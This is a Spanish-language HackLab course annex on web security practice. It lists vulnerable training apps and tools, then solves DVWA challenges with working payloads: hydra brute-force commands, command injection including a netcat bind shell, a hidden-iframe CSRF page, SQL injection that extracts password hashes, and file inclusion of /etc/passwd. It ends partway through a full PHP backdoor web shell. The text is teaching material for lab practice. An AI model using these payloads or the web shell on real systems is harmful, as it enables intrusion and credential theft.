Análisis forense

Ciberinteligencia

Los contenidos son en general externos generados por terceros no relacionados con el
autor del HackLab. En ningún caso se pretende atentar contra los derechos de autor de
cada uno de los contenidos, motivo por el que se referencia la fuente original de cada uno
de ellos.

La información incluida en este fichero se presenta en las siguientes secciones.

C.1. Web

C.1.1. Guía de prácticas

Si bien los retos propuestos en los diferentes escenarios son en muchos casos equivalen-
tes y se basan en las mismas vulnerabilidades, cada uno de ellos tiene sus particularidades
en la implementación de las vulnerabilidades como en las estrategias de mitigación apli-
cadas, y es por ello que se ha decidido desplegar varios entornos que ofrezcan el mayor
número de retos al usuario.

25
Destacar que en la mayoría de los entornos se definen varios niveles de dificultad para
los diferentes retos planteados que, en general, se corresponden a:

Bajo (low) si no se ha aplicado ningún control para prevenir ataques


Medio (medium) si se han implementado controles mitigantes pero su efectividad
no es del 100 % (p.ej.: la implementación es incorrecta o parcial)
Alto (high) si se aplican las buenas prácticas y se obtiene un nivel de protección
equivalente al deseable en entornos productivos

Adicionalmente se ha desplegado un cortafuegos de aplicación web (Web Application


Firewall, WAF). La solución implementada es ModSecurity1 , el cual ha sido configurado
con las reglas definidas en el proyecto OWASP ModSecurity Core Rule Set (CRS)2 . En
caso de activarlo el usuario podrá validar que, aunque una página sea vulnerable a un
cierto vector de ataque, el WAF puede realizar una mitigación del mismo.
Considerando los entornos, y para realizar las pruebas con un nivel progresivo de
dificultad, se recomienda afrontar los retos en el siguiente orden:

1. validar que el WAF se encuentra desactivado de cara a descubrir los diferentes


vectores de ataque disponibles en las aplicaciones web
2. realizar los retos de DVWA nivel bajo (ver anexo C.2)
3. realizar los retos de WebGoat
4. realizar el resto de niveles bajos (bWAPP, Mutillidae)
5. realizar los retos de DVWA nivel medio
6. realizar el resto de niveles medios (bWAPP, Mutillidae)
7. realizar los retos de DVWA nivel alto
8. realizar el resto de niveles altos (bWAPP, Mutillidae)
9. habilitar el WAF para validar la eficacia de las reglas desplegadas (CRS) en entornos
vulnerables
10. validar los vectores de ataque previamente encontrados (niveles bajos)
11. buscar posibles vectores de ataque que evadan la protección del WAF sobre aplica-
ciones web vulnerables (niveles bajos)

C.1.2. Herramientas

La distribución Kali Linux dispone de un inventario de herramientas muy relevan-


te, del que se dispone de un invenario en la siguiente URL: http://tools.kali.org/
tools-listing.
1
https://modsecurity.org/
2
https://www.owasp.org/index.php/Category:OWASP_ModSecurity_Core_Rule_Set_Project

26
C.1.3. Manuales y cheatsheets

Una de las principales fuentes de información en cuanto a seguridad web es la web


de la OWASP (https://www.owasp.org), en la que se encuentra una gran cantidad de
recursos.

Aman Hardikar ha desarrollado un mindmap 3 en el que representa algunas de las prue-


bas a realizar sobre entornos web, cuya última versión a fecha de escritura se representa
a continuación:

C.1.4. Fuentes de ejercicios

OWASP dispone de algunos proyectos adicionales a los desplegados en el HackLabcon


los que poner en práctica los conocimientos en hacking de aplicaciones web. Uno de los
más interesantes es el proyecto “Broken Web Application” (BWA), del que se puede encon-
trar información adicional en https://www.owasp.org/index.php/OWASP_Broken_Web_
Applications_Project y http://code.google.com/p/owaspbwa/.

Adicionalmente, Aman Hardikar inventaría en su web (http://amanhardikar.com/


mindmaps/Practice.html) un buen número de ejercicios prácticos de hacking de aplica-
ciones web. A fecha de escritura se plantean los siguientes recursos:

OWASP BWA (http://code.google.com/p/owaspbwa/)

OWASP Hackademic (http://hackademic1.teilar.gr/)

OWASP SiteGenerator (https://www.owasp.org/index.php/Owasp_SiteGenerator)

OWASP Bricks (http://sourceforge.net/projects/owaspbricks/)

OWASP Security Shepherd (https://www.owasp.org/index.php/OWASP_Security_


Shepherd)

Damn Vulnerable Web App (DVWA) (http://www.dvwa.co.uk/)

Damn Vulnerable Web Services (DVWS) (http://dvws.professionallyevil.com/)

WebGoat.NET (https://github.com/jerryhoff/WebGoat.NET/)

PentesterLab (https://pentesterlab.com/)

Butterfly Security Project (http://thebutterflytmp.sourceforge.net/)

Foundstone Hackme Bank (http://www.mcafee.com/us/downloads/free-tools/


hacme-bank.aspx)

Foundstone Hackme Books (http://www.mcafee.com/us/downloads/free-tools/


hacmebooks.aspx)
3
http://amanhardikar.com/mindmaps/webapptest.html

27
Figura C.1: Mindmap de ataque a infraestructuras web por Aman Hardikar

Foundstone Hackme Casino (http://www.mcafee.com/us/downloads/free-tools/


hacme-casino.aspx)

Foundstone Hackme Shipping (http://www.mcafee.com/us/downloads/free-tools/


hacmeshipping.aspx)

Foundstone Hackme Travel (http://www.mcafee.com/us/downloads/free-tools/


hacmetravel.aspx)

LAMPSecurity (http://sourceforge.net/projects/lampsecurity/)

28
Moth (http://www.bonsai-sec.com/en/research/moth.php)

WackoPicko (https://github.com/adamdoupe/WackoPicko)

BadStore (http://www.badstore.net/)

WebSecurity Dojo (http://www.mavensecurity.com/web_security_dojo/)

BodgeIt Store (http://code.google.com/p/bodgeit/)

hackxor (http://hackxor.sourceforge.net/cgi-bin/index.pl)

SecuriBench (http://suif.stanford.edu/~livshits/securibench/)

SQLol (https://github.com/SpiderLabs/SQLol)

CryptOMG (https://github.com/SpiderLabs/CryptOMG)

XMLmao (https://github.com/SpiderLabs/XMLmao)

Exploit KB Vulnerable Web App (http://exploit.co.il/projects/vuln-web-app/)

PHDays iBank CTF (http://blog.phdays.com/2012/05/once-again-about-remote-banking.


html)

GameOver (http://sourceforge.net/projects/null-gameover/)

Zap WAVE (http://code.google.com/p/zaproxy/downloads/detail?name=zap-wave-0.


1.zip)

PuzzleMall (http://code.google.com/p/puzzlemall/)

VulnApp (http://www.nth-dimension.org.uk/blog.php?id=88)

sqli-labs (https://github.com/Audi-1/sqli-labs)

Drunk Admin Web Hacking Challenge (https://bechtsoudis.com/work-stuff/


challenges/drunk-admin-web-hacking-challenge/)

bWAPP (http://www.mmeit.be/bwapp/, http://sourceforge.net/projects/bwapp/


files/bee-box/)

NOWASP / Mutillidae 2 (http://sourceforge.net/projects/mutillidae/)

SocketToMe (http://digi.ninja/projects/sockettome.php)

29
C.2. Resolución de DVWA

Brute Force

Descripción y pruebas de concepto

Observamos que es posible realizar ataques de fuerza bruta sobre el login de la apli-
cación web mediante la ejecución del programa hydra:
hydra -l admin -P / usr / share / wordlists / rockyou . txt -f localhost
http - form - post
’/ DVWA / login . php : username =^ USER ^& password =^ PASS ^& Login = Login : Login
failed ’

Obteniendo:
Hydra v8 .1 ( c ) 2014 by van Hauser / THC - Please do not use in
military or secret service organizations , or for illegal purposes .

Hydra ( http :// www . thc . org / thc - hydra ) starting at 2015 -05 -17 19:53:08
[ DATA ] max 16 tasks per 1 server , overall 64 tasks , 14344399 login
tries ( l :1/ p :14344399) , ~14008 tries per task
[ DATA ] attacking service http - post - form on port 80
[80][ http - post - form ] host : localhost login : admin password :
password
[ STATUS ] attack finished for localhost ( valid pair found )
1 of 1 target successfully completed , 1 valid password found
Hydra ( http :// www . thc . org / thc - hydra ) finished at 2015 -05 -17 19:53:20

Notar que para poder realizar la prueba sobre el formulario disponible en la página
de brute-forcing se tiene que ajustar al uso del método GET e incorporar la cookie del
usuario, ya que la URL se encuentra en un entorno autenticado:
hydra -l admin -P / usr / share / wordlists / rockyou . txt -f localhost http -
get ’/ DVWA / vulnerabilities / brute /? username =^ USER ^& password =^ PASS ^&
Login = Login : Username and / or password incorrect .: H = Cookie : security
= low ; security_level =0; PHPSESSID =92 jjqrdri091lb1gg5kn14e220 ’

Obteniendo el mismo resultado que en el caso anterior.

Causas

Esto es debido a la inexistencia de medidas que prevengan ataques de fuerza bruta


como pueden ser:

CAPTCHAs

incorporación de un time-out en el formulario de login tras un error (idealmente


incrementándose exponencialmente a cada error)

30
bloqueo de usuarios tras un número razonable de intentos fallidos

incorporación de requisitos mínimos de complejidad de contraseñas

Impacto

Un atacante puede obtener fácilmente credenciales válidas de usuarios de la aplicación


web y suplantarlos.

Es especialmente relevante para usuarios con permisos avanzados (p.ej.: admin).

Command Execution

Descripción y pruebas de concepto

Introduciendo separadores que permitan la concatenación de comandos es posible eje-


cutar código arbritrario en el servidor con el usuario www-data (propietario del proceso
apache):
Petición:
; whoami

Respuesta:
www - data

Petición:
; cat / etc / passwd

Respuesta:
root : x :0:0: root :/ root :/ bin / bash
daemon : x :1:1: daemon :/ usr / sbin :/ bin / sh
bin : x :2:2: bin :/ bin :/ bin / sh
sys : x :3:3: sys :/ dev :/ bin / sh
sync : x :4:65534: sync :/ bin :/ bin / sync
games : x :5:60: games :/ usr / games :/ bin / sh
man : x :6:12: man :/ var / cache / man :/ bin / sh
lp : x :7:7: lp :/ var / spool / lpd :/ bin / sh
mail : x :8:8: mail :/ var / mail :/ bin / sh
news : x :9:9: news :/ var / spool / news :/ bin / sh
uucp : x :10:10: uucp :/ var / spool / uucp :/ bin / sh
proxy : x :13:13: proxy :/ bin :/ bin / sh
www - data : x :33:33: www - data :/ var / www :/ bin / sh
backup : x :34:34: backup :/ var / backups :/ bin / sh
list : x :38:38: Mailing List Manager :/ var / list :/ bin / sh
irc : x :39:39: ircd :/ var / run / ircd :/ bin / sh
gnats : x :41:41: Gnats Bug - Reporting System
( admin ) :/ var / lib / gnats :/ bin / sh

31
nobody : x :65534:65534: nobody :/ nonexistent :/ bin / sh
libuuid : x :100:101::/ var / lib / libuuid :/ bin / sh
mysql : x :101:103: MySQL Server , , ,:/ nonexistent :/ bin / false
messagebus : x :102:106::/ var / run / dbus :/ bin / false
colord : x :103:107: colord colour management
daemon , , ,:/ var / lib / colord :/ bin / false
usbmux : x :104:46: usbmux daemon , , ,:/ home / usbmux :/ bin / false
miredo : x :105:65534::/ var / run / miredo :/ bin / false
ntp : x :106:112::/ home / ntp :/ bin / false
Debian - exim : x :107:113::/ var / spool / exim4 :/ bin / false
arpwatch : x :108:116: ARP Watcher , , ,:/ var / lib / arpwatch :/ bin / sh
avahi : x :109:117: Avahi mDNS daemon , , ,:/ var / run / avahi - daemon :/ bin / false
beef - xss : x :110:118::/ var / lib / beef - xss :/ bin / false
dradis : x :111:120::/ var / lib / dradis :/ bin / false
pulse : x :112:121: PulseAudio daemon , , ,:/ var / run / pulse :/ bin / false
speech - dispatcher : x :113:29: Speech
Dispatcher , , ,:/ var / run / speech - dispatcher :/ bin / sh
haldaemon : x :114:123: Hardware abstraction
layer , , ,:/ var / run / hald :/ bin / false
sshd : x :115:65534::/ var / run / sshd :/ usr / sbin / nologin
snmp : x :116:125::/ var / lib / snmp :/ bin / false
iodine : x :117:65534::/ var / run / iodine :/ bin / false
postgres : x :118:127: PostgreSQL
administrator , , ,:/ var / lib / postgresql :/ bin / bash
redsocks : x :119:128::/ var / run / redsocks :/ bin / false
stunnel4 : x :120:129::/ var / run / stunnel4 :/ bin / false
statd : x :121:65534::/ var / lib / nfs :/ bin / false
sslh : x :122:132::/ nonexistent :/ bin / false
Debian - gdm : x :123:133: Gnome Display Manager :/ var / lib / gdm3 :/ bin / false
rtkit : x :124:134: RealtimeKit , , ,:/ proc :/ bin / false
saned : x :125:135::/ home / saned :/ bin / false
redis : x :126:136: redis server , , ,:/ var / lib / redis :/ bin / false

Petición:
;/ sbin / ifconfig

Respuesta:
br0 Link encap : Ethernet HWaddr 00:0 c :29: a0 : b2 :18
inet addr :192.168.229.137 Bcast :192.168.229.255
Mask :255.255.255.0
inet6 addr : fe80 ::20 c :29 ff : fea0 : b218 /64 Scope : Link
UP BROADCAST RUNNING MULTICAST MTU :1500 Metric :1
RX packets :2223 errors :0 dropped :0 overruns :0 frame :0
TX packets :441 errors :0 dropped :0 overruns :0 carrier :0
collisions :0 txqueuelen :0
RX bytes :473631 (462.5 KiB ) TX bytes :67254 (65.6 KiB )

eth0 Link encap : Ethernet HWaddr 00:0 c :29: a0 : b2 :18


UP BROADCAST RUNNING MULTICAST MTU :1500 Metric :1
RX packets :2441 errors :0 dropped :0 overruns :0 frame :0
TX packets :474 errors :0 dropped :0 overruns :0 carrier :0
collisions :0 txqueuelen :1000
RX bytes :519052 (506.8 KiB ) TX bytes :77743 (75.9 KiB )

lo Link encap : Local Loopback


inet addr :127.0.0.1 Mask :255.0.0.0

32
inet6 addr : ::1/128 Scope : Host
UP LOOPBACK RUNNING MTU :65536 Metric :1
RX packets :14818 errors :0 dropped :0 overruns :0 frame :0
TX packets :14818 errors :0 dropped :0 overruns :0 carrier :0
collisions :0 txqueuelen :0
RX bytes :3539723 (3.3 MiB ) TX bytes :3539723 (3.3 MiB )

tap0 Link encap : Ethernet HWaddr 6 a :28: d8 :13: de :92


UP BROADCAST MULTICAST MTU :1500 Metric :1
RX packets :0 errors :0 dropped :0 overruns :0 frame :0
TX packets :0 errors :0 dropped :0 overruns :0 carrier :0
collisions :0 txqueuelen :500
RX bytes :0 (0.0 B ) TX bytes :0 (0.0 B )

tap1 Link encap : Ethernet HWaddr ce :15: c7 :95:1 e :12


UP BROADCAST MULTICAST MTU :1500 Metric :1
RX packets :0 errors :0 dropped :0 overruns :0 frame :0
TX packets :0 errors :0 dropped :0 overruns :0 carrier :0
collisions :0 txqueuelen :500
RX bytes :0 (0.0 B ) TX bytes :0 (0.0 B )

tap2 Link encap : Ethernet HWaddr ca :06: e8 :6 a : fb :73


UP BROADCAST MULTICAST MTU :1500 Metric :1
RX packets :0 errors :0 dropped :0 overruns :0 frame :0
TX packets :0 errors :0 dropped :0 overruns :0 carrier :0
collisions :0 txqueuelen :500
RX bytes :0 (0.0 B ) TX bytes :0 (0.0 B )

tap3 Link encap : Ethernet HWaddr e6 : d6 :2 c : c9 :9 b : d5


UP BROADCAST MULTICAST MTU :1500 Metric :1
RX packets :0 errors :0 dropped :0 overruns :0 frame :0
TX packets :0 errors :0 dropped :0 overruns :0 carrier :0
collisions :0 txqueuelen :500
RX bytes :0 (0.0 B ) TX bytes :0 (0.0 B )

tap4 Link encap : Ethernet HWaddr be :12:88: cf :7 e : c8


UP BROADCAST MULTICAST MTU :1500 Metric :1
RX packets :0 errors :0 dropped :0 overruns :0 frame :0
TX packets :0 errors :0 dropped :0 overruns :0 carrier :0
collisions :0 txqueuelen :500
RX bytes :0 (0.0 B ) TX bytes :0 (0.0 B )

tap5 Link encap : Ethernet HWaddr 02:31:2 e :82:5 b : f1


UP BROADCAST MULTICAST MTU :1500 Metric :1
RX packets :0 errors :0 dropped :0 overruns :0 frame :0
TX packets :0 errors :0 dropped :0 overruns :0 carrier :0
collisions :0 txqueuelen :500
RX bytes :0 (0.0 B ) TX bytes :0 (0.0 B )

tap6 Link encap : Ethernet HWaddr 8 a :26:75:21:0 a :2 c


UP BROADCAST MULTICAST MTU :1500 Metric :1
RX packets :0 errors :0 dropped :0 overruns :0 frame :0
TX packets :0 errors :0 dropped :0 overruns :0 carrier :0
collisions :0 txqueuelen :500
RX bytes :0 (0.0 B ) TX bytes :0 (0.0 B )

tap7 Link encap : Ethernet HWaddr 0 a :7 d : cc :65:05:5 c


UP BROADCAST MULTICAST MTU :1500 Metric :1

33
RX packets :0 errors :0 dropped :0 overruns :0 frame :0
TX packets :0 errors :0 dropped :0 overruns :0 carrier :0
collisions :0 txqueuelen :500
RX bytes :0 (0.0 B ) TX bytes :0 (0.0 B )

tap8 Link encap : Ethernet HWaddr f6 : ac :96:26:30: f8


UP BROADCAST MULTICAST MTU :1500 Metric :1
RX packets :0 errors :0 dropped :0 overruns :0 frame :0
TX packets :0 errors :0 dropped :0 overruns :0 carrier :0
collisions :0 txqueuelen :500
RX bytes :0 (0.0 B ) TX bytes :0 (0.0 B )

Adicionalmente a la fuga de información, también es posible ejecutar comandos que


puedan cambiar el estado del servidor o activar servicios.

Mediante el siguiente comando se pone a la escucha el puerto 4444 con una shell remota
en el servidor:
; nc -l -p 4444 -c / bin / bash

Causas

La principal causa es la falta de validación del input del usuario. En el caso de uso de
realizar un ping a una IP el único input válido debería contener números, puntos y dos
puntos en los formatos IPv4 o IPv6, sin permitir nunca aquellos caracteres que permitan
concatenar comandos (“&”, “;”, “|”).

Impacto

El impacto es muy alto, ya que un usuario malintencionado puede ejecutar código ar-
bitrario en el servidor, afectando a la confidencialidad del servidor (fugas de información),
la integridad (modificación de datos) y la disponibilidad (eliminación de ficheros).

Destacar que se encuentra ligeramente mitigado ya que el usuario www-data no tiene


permisos ilimitados, y cualquier código inyectado de esta forma se ejecuta con el propie-
tario del proceso Apache.

CSRF

Descripción y pruebas de concepto

Observamos que la petición generada al rellenar el formulario:

34
< form action ="#" method =" GET " > New password : < br >
< input type =" password " AUTOCOMPLETE =" off "
name =" password_new " > < br >
Confirm new password : <br >
< input type =" password " AUTOCOMPLETE =" off " name =" password_conf " >
<br >
< input type =" submit " value =" Change " name =" Change " >
</ form >

Se genera una petición GET como sigue:


GET http :// localhost / DVWA / vulnerabilities / csrf /? password_new = test &
password_conf = test & Change = Change HTTP /1.1
User - Agent : Mozilla /5.0 ( X11 ; Linux x86_64 ; rv :31.0) Gecko /20100101
Firefox /31.0 Iceweasel /31.6.0
Accept : text / html , application / xhtml + xml , application / xml ; q =0.9 ,*/*; q
=0.8
Accept - Language : en - US , en ; q =0.5
Referer : http :// localhost / DVWA / vulnerabilities / csrf /
Cookie : security = low ; security_level =0; PHPSESSID =92
jjqrdri091lb1gg5kn14e220
Connection : keep - alive
Host : localhost

Por lo tanto, generaremos una página web con un iframe oculto que cargue la URL:
http :// localhost / DVWA / vulnerabilities / csrf /? password_new = attacker &
password_conf = attacker & Change = Change

Como por ejemplo:


<! DOCTYPE html >
< html >
< head >
< title > Hello World ! </ title >
</ head >
< body >
< header >
<h1 > Hello World ! </ h1 >
<h2 > welcome </ h2 >
</ header >

< div id =" main " >


< iframe src =" http :// localhost / DVWA / vulnerabilities / csrf /? password_new
= attacker & password_conf = attacker & Change = Change " height =1 px width =1
px > </ iframe >
</ div >

</ body >


</ html >

Cambiando la contraseña del usuario que acceda a la URL maliciosa (y se encuentre


logueado en la web target, localhost/DVWA) por “attacker”.

35
Causas

En este caso se detectan dos causas principales:

No se requiere de la interacción del usuario válido, p.ej.: solicitando la introducción


de algún valor que sea desconocido por el potencial atacante como la contraseña
actual (destacar que se podría llegar a bypassear mediante ingeniería social)

No se implementa ningún token únicos asociado a cada una de las peticiones reali-
zadas y vinculados a la sesión de navegación del usuario genuino

Impacto

El atacante es capaz de generar peticiones al servidor vulnerable impersonando al


usuario válido. En este caso concreto, el atacante es capaz de definir una contraseña
arbitraria, afectando tanto a la confidencialidad (si la usa para acceder a la cuenta del
usuario válido) como a la disponibilidad (denegando el servicio al usuario válido al que
ha cambiado la contraseña).

Insecure CAPTCHA

Descripción y pruebas de concepto

Observamos que el proceso de cambio tiene dos pasos:

1. solicitud de credenciales y challenge del captcha, siendo la siguiente una petición


válida:

POST http :// localhost / DVWA / vulnerabilities / captcha / HTTP /1.1


(...)
Referer : http :// localhost / DVWA / vulnerabilities / captcha /
Cookie : security = low ; security_level =0; PHPSESSID =92
jjqrdri091lb1gg5kn14e220
(...)
step =1& password_new = test & password_conf = test &
r e c a p t c h a _ c h a l l e n g e _ f i e l d =03
AHJ_VuuTPlOQKe8I05dgWVpMcM55YdcFna0a0x4wNdcdaigg2N9vUVIjZj8j3moCV
9 ByPkyDQVBQkeeo8_zmEh2BOrPJxECseLS7REccBgs7iLT7mj_lNU6ILqdP7ULL
- N L U C n 5t z U N q qK i v X a AK x x g M qT U A E b Zp J W V Y 0T e N - -
DQhISh9ulFs9qxWZRjxkmwBRbBTkmadWYNzNRVNT4jzc_IplGSGz2zUFqDLIFJ0hM
E c E nd i K w h 99 w 9 I f 0X N _ 1 M 49 H G u G 4H T j o z RY u S 3 Y - yoI9bPgr7j2cbXg &
r e c a p t c h a _ r e s p o n s e _ f i e l d =138& Change = Change

2. confirmación del cambio, que envía el siguiente POST:

36
POST http :// localhost / DVWA / vulnerabilities / captcha / HTTP /1.1
(...)
Referer : http :// localhost / DVWA / vulnerabilities / captcha /
Cookie : security = low ; security_level =0;
PHPSESSID =92 j j q r d r i 0 9 1 l b 1 g g 5 k n 1 4 e 2 2 0
(...)
step =2& password_new = admin & password_conf = admin & Change = Change

Se observa que es posible el envío del step 2 directamente, sin validar que se haya pasado
por el primer paso anteriormente.

Causas

No se valida que el paso 2 esté precedido por el 1, que a priori es seguro e incluye el
captcha.

Impacto

Permite la automatización de procesos que se consideran seguros. Si bien la inclusión


de un CAPTCHA mejora la seguridad ante CSRF, en este caso el formulario de cambio
de contraseña del usuario sigue siendo vulnerable debido a una mala implementación.

File Inclusion

Descripción y pruebas de concepto

Observamos que en la URL se encuentra un path (relativo) a un fichero:


http :// localhost / DVWA / vulnerabilities / fi /? page = include . php

Y se valida que no se realiza ninguna validación del path, aceptando cualquier path
local introducido por el atacante (siempre y cuando el usuario local propietario del proceso
apache, www-data, tenga permisos):
http :// localhost / DVWA / vulnerabilities / fi /? page =/ etc / passwd

37
root : x :0:0: root :/ root :/ bin / bash daemon : x :1:1: daemon :/ usr / sbin :/ bin / sh
bin : x :2:2: bin :/ bin :/ bin / sh sys : x :3:3: sys :/ dev :/ bin / sh sync : x
:4:65534: sync :/ bin :/ bin / sync games : x :5:60: games :/ usr / games :/ bin / sh
man : x :6:12: man :/ var / cache / man :/ bin / sh lp : x :7:7: lp :/ var / spool / lpd
:/ bin / sh mail : x :8:8: mail :/ var / mail :/ bin / sh news : x :9:9: news :/ var /
spool / news :/ bin / sh uucp : x :10:10: uucp :/ var / spool / uucp :/ bin / sh proxy
: x :13:13: proxy :/ bin :/ bin / sh www - data : x :33:33: www - data :/ var / www :/
bin / sh backup : x :34:34: backup :/ var / backups :/ bin / sh list : x :38:38:
Mailing List Manager :/ var / list :/ bin / sh irc : x :39:39: ircd :/ var / run /
ircd :/ bin / sh gnats : x :41:41: Gnats Bug - Reporting System ( admin ) :/ var
/ lib / gnats :/ bin / sh nobody : x :65534:65534: nobody :/ nonexistent :/ bin /
sh libuuid : x :100:101::/ var / lib / libuuid :/ bin / sh mysql : x :101:103:
MySQL Server , , ,:/ nonexistent :/ bin / false messagebus : x :102:106::/ var
/ run / dbus :/ bin / false colord : x :103:107: colord colour management
daemon , , ,:/ var / lib / colord :/ bin / false usbmux : x :104:46: usbmux daemon
, , ,:/ home / usbmux :/ bin / false miredo : x :105:65534::/ var / run / miredo :/
bin / false ntp : x :106:112::/ home / ntp :/ bin / false Debian - exim : x
:107:113::/ var / spool / exim4 :/ bin / false arpwatch : x :108:116: ARP
Watcher , , ,:/ var / lib / arpwatch :/ bin / sh avahi : x :109:117: Avahi mDNS
daemon , , ,:/ var / run / avahi - daemon :/ bin / false beef - xss : x :110:118::/
var / lib / beef - xss :/ bin / false dradis : x :111:120::/ var / lib / dradis :/ bin
/ false pulse : x :112:121: PulseAudio daemon , , ,:/ var / run / pulse :/ bin /
false speech - dispatcher : x :113:29: Speech Dispatcher , , ,:/ var / run /
speech - dispatcher :/ bin / sh haldaemon : x :114:123: Hardware abstraction
layer , , ,:/ var / run / hald :/ bin / false sshd : x :115:65534::/ var / run / sshd
:/ usr / sbin / nologin snmp : x :116:125::/ var / lib / snmp :/ bin / false iodine
: x :117:65534::/ var / run / iodine :/ bin / false postgres : x :118:127:
PostgreSQL administrator , , ,:/ var / lib / postgresql :/ bin / bash redsocks
: x :119:128::/ var / run / redsocks :/ bin / false stunnel4 : x :120:129::/ var /
run / stunnel4 :/ bin / false statd : x :121:65534::/ var / lib / nfs :/ bin / false
sslh : x :122:132::/ nonexistent :/ bin / false Debian - gdm : x :123:133:
Gnome Display Manager :/ var / lib / gdm3 :/ bin / false rtkit : x :124:134:
RealtimeKit , , ,:/ proc :/ bin / false saned : x :125:135::/ home / saned :/ bin /
false redis : x :126:136: redis server , , ,:/ var / lib / redis :/ bin / false

Causas

La principal causa es la falta de validación del input del usuario.

Impacto

Esta vulnerabilidad permite principalmente la fuga de información del servidor, ya


que no permite la ejecución de comandos.

38
SQL Injection

Descripción y pruebas de concepto

Realizando la petición ’A’ la web nos devuelve el siguiente error:


You have an error in your SQL syntax ; check the manual that
corresponds to your MySQL server version for the right syntax to
use near ’A ’ ’ ’ at line 1

Que ya nos presenta la solución de bases de datos que soporta la aplicación: MySQL.

Realizamos diversas pruebas y vemos que la secuencia “ ’ and 1=0 #” no da error.

Si creamos una condición siempre válida obtenemos la respuesta para todos los usuarios
de la máquina:
’ or 1=1 #

ID : ’ or 1=1 #
First name : admin
Surname : admin

ID : ’ or 1=1 #
First name : Gordon
Surname : Brown

ID : ’ or 1=1 #
First name : Hack
Surname : Me

ID : ’ or 1=1 #
First name : Pablo
Surname : Picasso

ID : ’ or 1=1 #
First name : Bob
Surname : Smith

Adicionalmente empezamos a trabajar con la sentencia válida para obtener el número


de campos de la petición mediante peticiones como:
’ and 1=0 union select 1 ,2 ,3 #

que obtienen la siguiente respuesta:


The used SELECT statements have a different number of columns

identificando un total de 2 campos:


’ and 1=0 union select 1 ,2 #

39
ID : ’ and 1=0 union select 1 ,2 #
First name : 1
Surname : 2

Con ello podemos obtener información de la base de datos y usuario actual:


’ and 1=0 union select database () , user () #

ID : ’ and 1=0 union select database () , user () #


First name : dvwa
Surname : root@localhost

Adicionalmente, al recuperar la tabla de usuarios:


’ and 1=0 union select user , password from mysql . user #

ID : ’ and 1=0 union select user , password from mysql . user #


First name : root
Surname :

ID : ’ and 1=0 union select user , password from mysql . user #


First name : debian - sys - maint
Surname : * DD1DFB # # # # # # # # # # # # # # # # # # # # # # # # # # AA671834

ID : ’ and 1=0 union select user , password from mysql . user #


First name : phpmyadmin
Surname : * A5A5CC # # # # # # # # # # # # # # # # # # # # # # # # # # 3 DA720ED

Obtenemos los hashes de los usuarios phpmyadmin y debian-sys-maint y observamos que


el usuario root no tiene contraseña.

Causas

No se realiza ninguna validación del input del usuario.

Adicionalmente, presentar mensajes de error al usuario facilita la depuración de las


sentencias utilizadas para el ataque.

Impacto

El atacante puede realizar sentencias MySQL con los mismos permisos que el usuario
de base de datos que ejecuta el servicio (root).

40
SQL Injection (Blind)

Descripción y pruebas de concepto

Respecto la prueba anterior la única mejora es que no muestra los mensajes de error,
dificultando la depuración de las queries desde el punto de vista del atacante. No obstante,
la respuesta a las sentencias válidas es la misma. A continuación se muestran algunos
ejemplos:
’ or 1=1 #

ID : ’ or 1=1 #
First name : admin
Surname : admin

ID : ’ or 1=1 #
First name : Gordon
Surname : Brown

ID : ’ or 1=1 #
First name : Hack
Surname : Me

ID : ’ or 1=1 #
First name : Pablo
Surname : Picasso

ID : ’ or 1=1 #
First name : Bob
Surname : Smith

Causas

No se realiza ninguna validación del input del usuario.

Impacto

El atacante puede realizar sentencias MySQL con los mismos permisos que el usuario
de base de datos que ejecuta el servicio (root).

Upload

Descripción y pruebas de concepto

Observamos que el formulario solicita la carga de una imagen, pero realmente no valida
el fichero subido.

41
Por ejemplo, se puede subir una shell php que permita a un usuario interactuar con
el servidor:

<?
// a simple php backdoor | coded by z0mbie [30.08.03] |
http :// freenet . am /~ zombie \\

ob_im plicit_f lush () ;


if ( isset ( $_REQUEST [ ’f ’]) ) {
$filename = $_REQUEST [ ’f ’];
$file = fopen (" $filename " ," rb ") ;
fpassthru ( $file ) ;
die ;
}
if ( isset ( $_REQUEST [ ’d ’]) ) {
$d = $_REQUEST [ ’d ’];
echo " < pre >";
if ( $handle = opendir (" $d ") ) {
echo " < h2 > listing of $d </ h2 >";
while ( $dir = readdir ( $handle ) ) {
if ( is_dir (" $d / $dir ") ) echo " < a
href = ’ $PHP_SELF ? d = $d / $dir ’ > < font color = grey >";
else echo " < a
href = ’ $PHP_SELF ? f = $d / $dir ’ > < font color = black >";
echo " $dir \ n ";
echo " </ font > </a >";
}

} else echo " opendir () failed ";


closedir ( $handle ) ;
die (" < hr >") ;
}
if ( isset ( $_REQUEST [ ’c ’]) ) {
echo " < pre >";
system ( $_REQUEST [ ’c ’]) ;
die ;
}
if ( isset ( $_REQUEST [ ’ upload ’]) ) {

if (! isset ( $_REQUEST [ ’ dir ’]) ) die ( ’ hey , specify directory ! ’) ;


else $dir = $_REQUEST [ ’ dir ’];
$fname = $HTTP_POST_FILES [ ’ file_name ’][ ’ name ’];

if (! m ov e_u pl oa ded _f il e ( $HTTP_POST_FILES [ ’ file_name ’][ ’ tmp_name ’] ,


$dir . $fname ) )
die ( ’ file uploading error . ’) ;
}
if ( isset ( $_REQUEST [ ’ mquery ’]) ) {

$host = $_REQUEST [ ’ host ’];


$usr = $_REQUEST [ ’ usr ’];
$passwd = $_REQUEST [ ’ passwd ’];
$db = $_REQUEST [ ’ db ’];
$mquery = $_REQUEST [ ’ mquery ’];
mysql_connect (" $host " , " $usr " , " $passwd ") or
die (" Could not connect : " . mysql_error () ) ;
mysql_select_db (" $db ") ;
$result = mysql_query (" $mquery ") ;

42
if ( $result != FALSE ) echo " < pre > < h2 > query was executed
correctly </ h2 >\ n ";
